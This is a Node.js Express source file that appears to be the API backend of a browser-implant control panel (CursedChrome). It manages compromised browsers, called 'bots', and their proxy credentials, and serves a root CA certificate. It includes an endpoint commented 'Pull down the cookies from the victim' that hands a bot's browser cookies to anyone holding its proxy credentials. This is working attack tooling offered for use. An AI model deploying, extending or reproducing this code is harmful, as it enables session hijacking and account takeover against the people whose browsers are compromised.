const copy = require('./utils.js').copy; const express = require('express'); const bcrypt = require('bcrypt'); const uuid = require('uuid'); const bodyParser = require('body-parser'); const sessions = require('client-sessions'); const database = require('./database.js'); const Users = database.Users; const Bots = database.Bots; const Settings = database.Settings; const sequelize = database.sequelize; const Sequelize = require('sequelize'); const Op = Sequelize.Op; const get_hashed_password = require('./utils.js').get_hashed_password; /* API Server You can authenticate to the API using the browser_account_access_key. Later on I'll add an official API key system. */ const validate = require('express-jsonschema').validate; const API_BASE_PATH = '/api/v1'; function getMethods(obj) { var result = []; for (var id in obj) { try { if (typeof(obj[id]) == "function") { result.push(id + ": " + obj[id].toString()); } } catch (err) { result.push(id + ": inaccessible"); } } return result; }; async function get_api_server(proxy_utils) { const app = express(); app.use(bodyParser.json()); const session_secret_key = 'SESSION_SECRET'; // Check for existing session secret value const session_secret_setting = await Settings.findOne({ where: { key: session_secret_key } }); if (!session_secret_setting) { console.error(`No session secret is set, can't start API server!`); throw new Error('NO_SESSION_SECRET_SET'); return } /* Add default security headers */ app.use(async function(req, res, next) { set_secure_headers(req, res); next(); }); app.use(sessions({ cookieName: 'session', secret: session_secret_setting.value, duration: 7 * 24 * 60 * 60 * 1000, // Default session time is a week activeDuration: 1000 * 60 * 5, // Extend for five minutes if actively used cookie: { ephemeral: true, httpOnly: true, secure: false } })); /* Serve static files from compiled front-end */ app.use('/', express.static( '/work/gui/dist/', { setHeaders: function (res, path, stat) { res.set("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self'; font-src 'none'; connect-src 'self'"); } } )); app.use(async function(req, res, next) { const ENDPOINTS_NOT_REQUIRING_AUTH = [ '/health', `${API_BASE_PATH}/login`, `${API_BASE_PATH}/verify-proxy-credentials`, `${API_BASE_PATH}/get-bot-browser-cookies`, ]; if (ENDPOINTS_NOT_REQUIRING_AUTH.includes(req.originalUrl)) { next(); return } const auth_needed_response = { "success": false, "error": "Authentication required, please log in.", "code": "NOT_AUTHENTICATED" }; // Check the auth to make sure a valid session exists if (!req.session.user_id) { res.status(200).json(auth_needed_response).end(); return } const user = await Users.findOne({ where: { id: req.session.user_id } }); if (!user) { res.status(200).json(auth_needed_response).end(); return } // Set user information from database record req.user = { id: user.id, username: user.username, password_should_be_changed: user.password_should_be_changed }; next(); }); /* Update a given bot's properties */ const UpdateBotSchema = { type: 'object', properties: { bot_id: { type: 'string', required: true, pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}' }, name: { type: 'string', required: true }, } } app.put(API_BASE_PATH + '/bots', validate({ body: UpdateBotSchema }), async (req, res) => { const bot = await Bots.findOne({ where: { id: req.body.bot_id } }); await bot.update({ 'name': req.body.name }); res.status(200).json({ "success": true, "result": {} }).end(); }); /* Delete a bot */ const DeleteBotSchema = { type: 'object', properties: { bot_id: { type: 'string', required: true, pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}' }, } } app.delete(API_BASE_PATH + '/bots', validate({ body: DeleteBotSchema }), async (req, res) => { const bot = await Bots.findOne({ where: { id: req.body.bot_id } }); await bot.destroy(); res.status(200).json({ "success": true, "result": {} }).end(); }); /* Get list of bots */ app.get(API_BASE_PATH + '/bots', async (req, res) => { const bots = await Bots.findAll({ attributes: [ 'id', 'is_online', 'name', 'proxy_password', 'proxy_username', 'user_agent', 'updatedAt', 'createdAt', ] }); res.status(200).json({ "success": true, "result": { 'bots': bots } }).end(); }); /* Log in to a given user account */ const LoginSchema = { type: 'object', properties: { username: { type: 'string', required: true }, password: { type: 'string', required: true }, } } app.post(API_BASE_PATH + '/login', validate({ body: LoginSchema }), async (req, res) => { const user = await Users.findOne({ where: { username: req.body.username } }); if(!user) { res.status(200).json({ "success": false, "error": "User not found with those credentials, please try again.", "code": "INVALID_CREDENTIALS" }).end(); return } // Compare password with hash from database const password_matches = await bcrypt.compare( req.body.password, user.password, ); if (!password_matches) { res.status(200).json({ "success": false, "error": "User not found with those credentials, please try again.", "code": "INVALID_CREDENTIALS" }).end(); return } // Set session data req.session.user_id = user.id; res.status(200).json({ "success": true, "result": { "username": user.username, "password_should_be_changed": user.password_should_be_changed, } }).end(); }); /* * Log out the user */ app.get(API_BASE_PATH + '/logout', async (req, res) => { // Set user_id to null to log the user out // This overwrites the previous cookie req.session.user_id = null; res.status(200).json({ "success": true, "result": {} }).end(); }); /* Update user's password */ const UpdateUserPasswordSchema = { type: 'object', properties: { new_password: { type: 'string', required: true }, } } app.put(API_BASE_PATH + '/password', validate({ body: UpdateUserPasswordSchema }), async (req, res) => { const user = await Users.findOne({ where: { id: req.session.user_id } }); const new_hashed_password = await get_hashed_password( req.body.new_password ); await user.update({ 'password': new_hashed_password, 'password_should_be_changed': false, }); res.status(200).json({ "success": true, "result": {} }).end(); }); /* * Get log in status */ app.get(API_BASE_PATH + '/me', async (req, res) => { res.status(200).json({ "success": true, "result": { username: req.user.username, password_should_be_changed: req.user.password_should_be_changed } }).end(); }); /* * Basic health check endpoint */ app.get('/health', async (req, res) => { res.status(200).json({ "success": true }).end(); }); /* * Serve up the CA cert for download */ app.get(API_BASE_PATH + '/download_ca', async (req, res) => { res.download( `${__dirname}/ssl/rootCA.crt`, 'CursedChromeCA.crt' ); }); /* Return if a given set of HTTP proxy credentials is valid or not. */ const ValidateHTTPProxyCredsSchema = { type: 'object', properties: { username: { type: 'string', required: true }, password: { type: 'string', required: true }, } } app.post(API_BASE_PATH + '/verify-proxy-credentials', validate({ body: ValidateHTTPProxyCredsSchema }), async (req, res) => { const bot_data = await Bots.findOne({ where: { proxy_username: req.body.username, proxy_password: req.body.password, }, attributes: [ 'id', 'is_online', 'name', 'proxy_password', 'proxy_username', 'user_agent', ] }); if (!bot_data) { res.status(200).json({ "success": false, "error": "User not found with those credentials, please try again.", "code": "INVALID_CREDENTIALS" }).end(); return } res.status(200).json({ "success": true, "result": { id: bot_data.id, is_online: bot_data.is_online, name: bot_data.name, user_agent: bot_data.user_agent } }).end(); }); /* Pull down the cookies from the victim */ const GetBotBrowserCookiesSchema = { type: 'object', properties: { username: { type: 'string', required: true }, password: { type: 'string', required: true }, } } app.post(API_BASE_PATH + '/get-bot-browser-cookies', validate({ body: GetBotBrowserCookiesSchema }), async (req, res) => { const bot_data = await Bots.findOne({ where: { proxy_username: req.body.username, proxy_password: req.body.password, } }); if (!bot_data) { res.status(200).json({ "success": false, "error": "User not found with those credentials, please try again.", "code": "INVALID_CREDENTIALS" }).end(); return } const browser_cookies = await proxy_utils.get_browser_cookie_array( bot_data.browser_id ); res.status(200).json({ "success": true, "result": { "cookies": browser_cookies } }).end(); }); /* * Handle JSON Schema errors */ app.use(function(err, req, res, next) { var responseData; if (err.name === 'JsonSchemaValidation') { console.error(`JSONSchema validation error:`); console.error(err.message); res.status(400); responseData = { statusText: 'Bad Request', jsonSchemaValidation: true, validations: err.validations }; if (req.xhr || req.get('Content-Type') === 'application/json') { res.json(responseData); } else { res.render('badrequestTemplate', responseData); } } else { next(err); } }); return app; } function set_secure_headers(req, res) { res.set("X-XSS-Protection", "mode=block"); res.set("X-Content-Type-Options", "nosniff"); res.set("X-Frame-Options", "deny"); if (req.path.startsWith(API_BASE_PATH)) { res.set("Content-Security-Policy", "default-src 'none'; script-src 'none'"); res.set("Content-Type", "application/json"); return } } module.exports = { get_api_server: get_api_server };